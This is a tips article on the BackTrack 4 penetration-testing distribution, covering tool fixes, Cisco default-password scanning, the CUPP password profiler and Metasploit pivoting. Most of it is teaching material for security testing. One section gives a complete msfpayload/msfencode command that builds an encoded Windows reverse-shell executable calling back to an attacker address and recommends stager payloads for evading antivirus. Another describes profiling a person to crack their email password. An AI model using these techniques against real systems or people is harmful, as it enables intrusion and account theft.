| Read more about this book |
(For more resources on this subject, see here.)
Updating the kernel
The update process is enough for updating the software applications. However, sometimes you may want to update your kernel, because your existing kernel doesn’t support your new device. Please remember that because the kernel is the heart of the operating system, failure to upgrade may cause your BackTrack to be unbootable. You need to make a backup of your kernel and configuration. You should ONLY update your kernel with the one made available by the BackTrack developers. This Linux kernel is modified to make certain “features” available to the BackTrack users and updating with other kernel versions could disable those features.
Multiple Customized installations
One of the drawbacks we found while using BackTrack 4 is that you need to perform a big upgrade (300MB to download) after you’ve installed it from the ISO or from the VMWare image provided. If you have one machine and a high speed Internet connection, there’s nothing much to worry about. However, imagine installing BackTrack 4 in several machines, in several locations, with a slow internet connection.
The solution to this problem is by creating an ISO image with all the upgrades already installed. If you want to install BackTrack 4, you can just install it from the newly created ISO image. You won’t have to download the big upgrade again.
While for the VMWare image, you can solve the problem by doing the upgrade in the virtual image, then copying that updated virtual image to be used in the new VMWare installation.
Efficient methodology
Combining the power of both methodologies, Open Source Security Testing Methodology Manual (OSSTMM) and Information Systems Security Assessment Framework (ISSAF) does provide sufficient knowledge base to assess the security of an enterprise environment efficiently.
Can’t find the dnsmap program
In our testing, the dnsmap-bulk script is not working because it can’t find the dnsmap program. To fix it, you need to define the location of the dnsmap executable. Make sure you are in the dnsmap directory (/pentest/enumeration/dns/dnsmap). Edit the dnsmap-bulk.sh file using nano text editor and change the following:
dnsmap $i
elif [[ $# -eq 2 ]]
then
dnsmap $i -r $2
to
./dnsmap $i
elif [[ $# -eq 2 ]]
then
./dnsmap $i -r $2
and save your changes.
fierce Version
Currently, the fierce Version 1 included with BackTrack 4 is no longer maintained by the author (Rsnake). He has suggested using fierce Version 2 that is still actively maintained by Jabra. fierce Version 2 is a rewrite of fierce Version 1. It also has several new features such as virtual host detection, subdomain and extension bruteforcing, template based output system, and XML support to integrate with Nmap. Since fierce Version 2 is not released yet and there is no BackTrack package for it, you need to get it from the development server by issuing the Subversion check out command:
#svn co https://svn.assembla.com/svn/fierce/fierce2/trunk/fierce2/
Make sure you are in the /pentest/enumeration directory first before issuing the above command. You may need to install several Perl modules before you can use fierce v2 correctly.
Relationship between “Vulnerability” and “Exploit”
A vulnerability is a security weakness found in the system which can be used by the attacker to perform unauthorized operations, while the exploit is a piece of code (proof-of-concept or PoC) written to take advantage of that vulnerability or bug in an automated fashion.
CISCO Privilege modes
There are 16 different privilege modes available for the Cisco devices, ranging from 0 (most restricted level) to 15 (least restricted level). All the accounts created should have been configured to work under the specific privilege level. More information on this is available at http://www.cisco.com/en/US/docs/ios/12_2t/12_2t13/feature/guide/ftprienh.html.
Cisco Passwd Scanner
The Cisco Passwd Scanner has been developed to scan the whole bunch of IP addresses in a specific network class. This class can be represented as A, B, or C in terms of network computing. Each class has it own definition for a number of hosts to be scanned. The tool is much faster and efficient in handling multiple threads in a single instance. It discovers those Cisco devices carrying default telnet password “cisco”. We have found a number of Cisco devices vulnerable to default telnet password “cisco”.
Common User Passwords Profiler (CUPP)
As a professional penetration tester you may find a situation where you hold the target’s personal information but are unable to retrieve or socially engineer his e-mail account credentials due to certain variable conditions, such as, the target does not use the Internet often, doesn’t like to talk to strangers on the phone, and may be too paranoid to open unknown e-mails. This all comes to guessing and breaking the password based on various password cracking techniques (dictionary or brute force method). CUPP is purely designed to generate a list of common passwords by profiling the target name, birthday, nickname, family member’s information, pet name, company, lifestyle patterns, likes, dislikes, interests, passions, and hobbies. This activity serves as crucial input to the dictionary-based attack method while attempting to crack the target’s e-mail account password.
Extract particular information from the exploits list
Using the power of bash commands we can manipulate the output of any text file in order to retrieve meaningful data. This can be accomplished by typing in cat files.csv |grep ‘”‘ |cut -d”;” -f3 on your console. It will extract the list of exploit titles from a files.csv. To learn the basic shell commands please refer to an online source at: http://tldp.org/LDP/abs/html/index.html.
“inline” and “stager” type payload
An inline payload is a single self-contained shell code that is to be executed with one instance of an exploit. While the stager payload creates a communication channel between the attacker and victim machine to read-off the rest of the staging shell code to perform the specific task, it is often common practice to choose stager payloads because they are much smaller in size than inline payloads.
Extending attack landscape by gaining deeper access to the target’s network that is inaccessible from outside
Metasploit provides a capability to view and add new routes to the destination network using the “route add targetSubnet targetSubnetMask SessionId” command (for example, route add 10.2.4.0 255.255.255.0 1). The “SessionId” is pointing to the existing meterpreter session (also called gateway) created after successful exploitation. The “targetSubnet” is another network address (also called dual homed Ethernet IP-address) attached to our compromised host. Once you set a metasploit to route all the traffic through a compromised host session, we are then ready to penetrate further into a network which is normally non-routable from our side. This terminology is commonly known as Pivoting or Foot-holding.
Evading Antivirus Protection Using Metasploit
Using a tool called msfencode located at /pentest/exploits/framework3, we can generate a self-protected executable file with encoded payload. This should be parallel to the msfpayload file generation process. A “raw” output from Msfpayload will be piped into Msfencode to use specific encoding technique before outputting the final binary. For instance, execute ./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/tictoe.exe to generate an encoded version of a reverse shell executable file. We strongly suggest you to use the “stager” type payloads instead of “inline” payloads, as they have a greater probability of success in bypassing major malware defenses due to their indefinite code signatures.
Stunnel version 3
BackTrack also comes with Stunnel version 3. The difference with Stunnel version 4 is that the version 4 uses a configuration file. If you want to run the version 3 style command-line arguments, you can call the command stunnel or stunnel3 with all of the needed arguments.
Summary
In this article we will take a look at some tips and tricks to make the best use of BackTrack OS.
Further resources on this subject:
- FAQs on BackTrack 4 [Article]
- BackTrack 4: Target Scoping [Article]
- BackTrack 4: Security with Penetration Testing Methodology [Article]
- Blocking Common Attacks using ModSecurity 2.5 [Article]
- Telecommunications and Network Security Concepts for CISSP Exam [Article]
- Preventing SQL Injection Attacks on your Joomla Websites [Article]
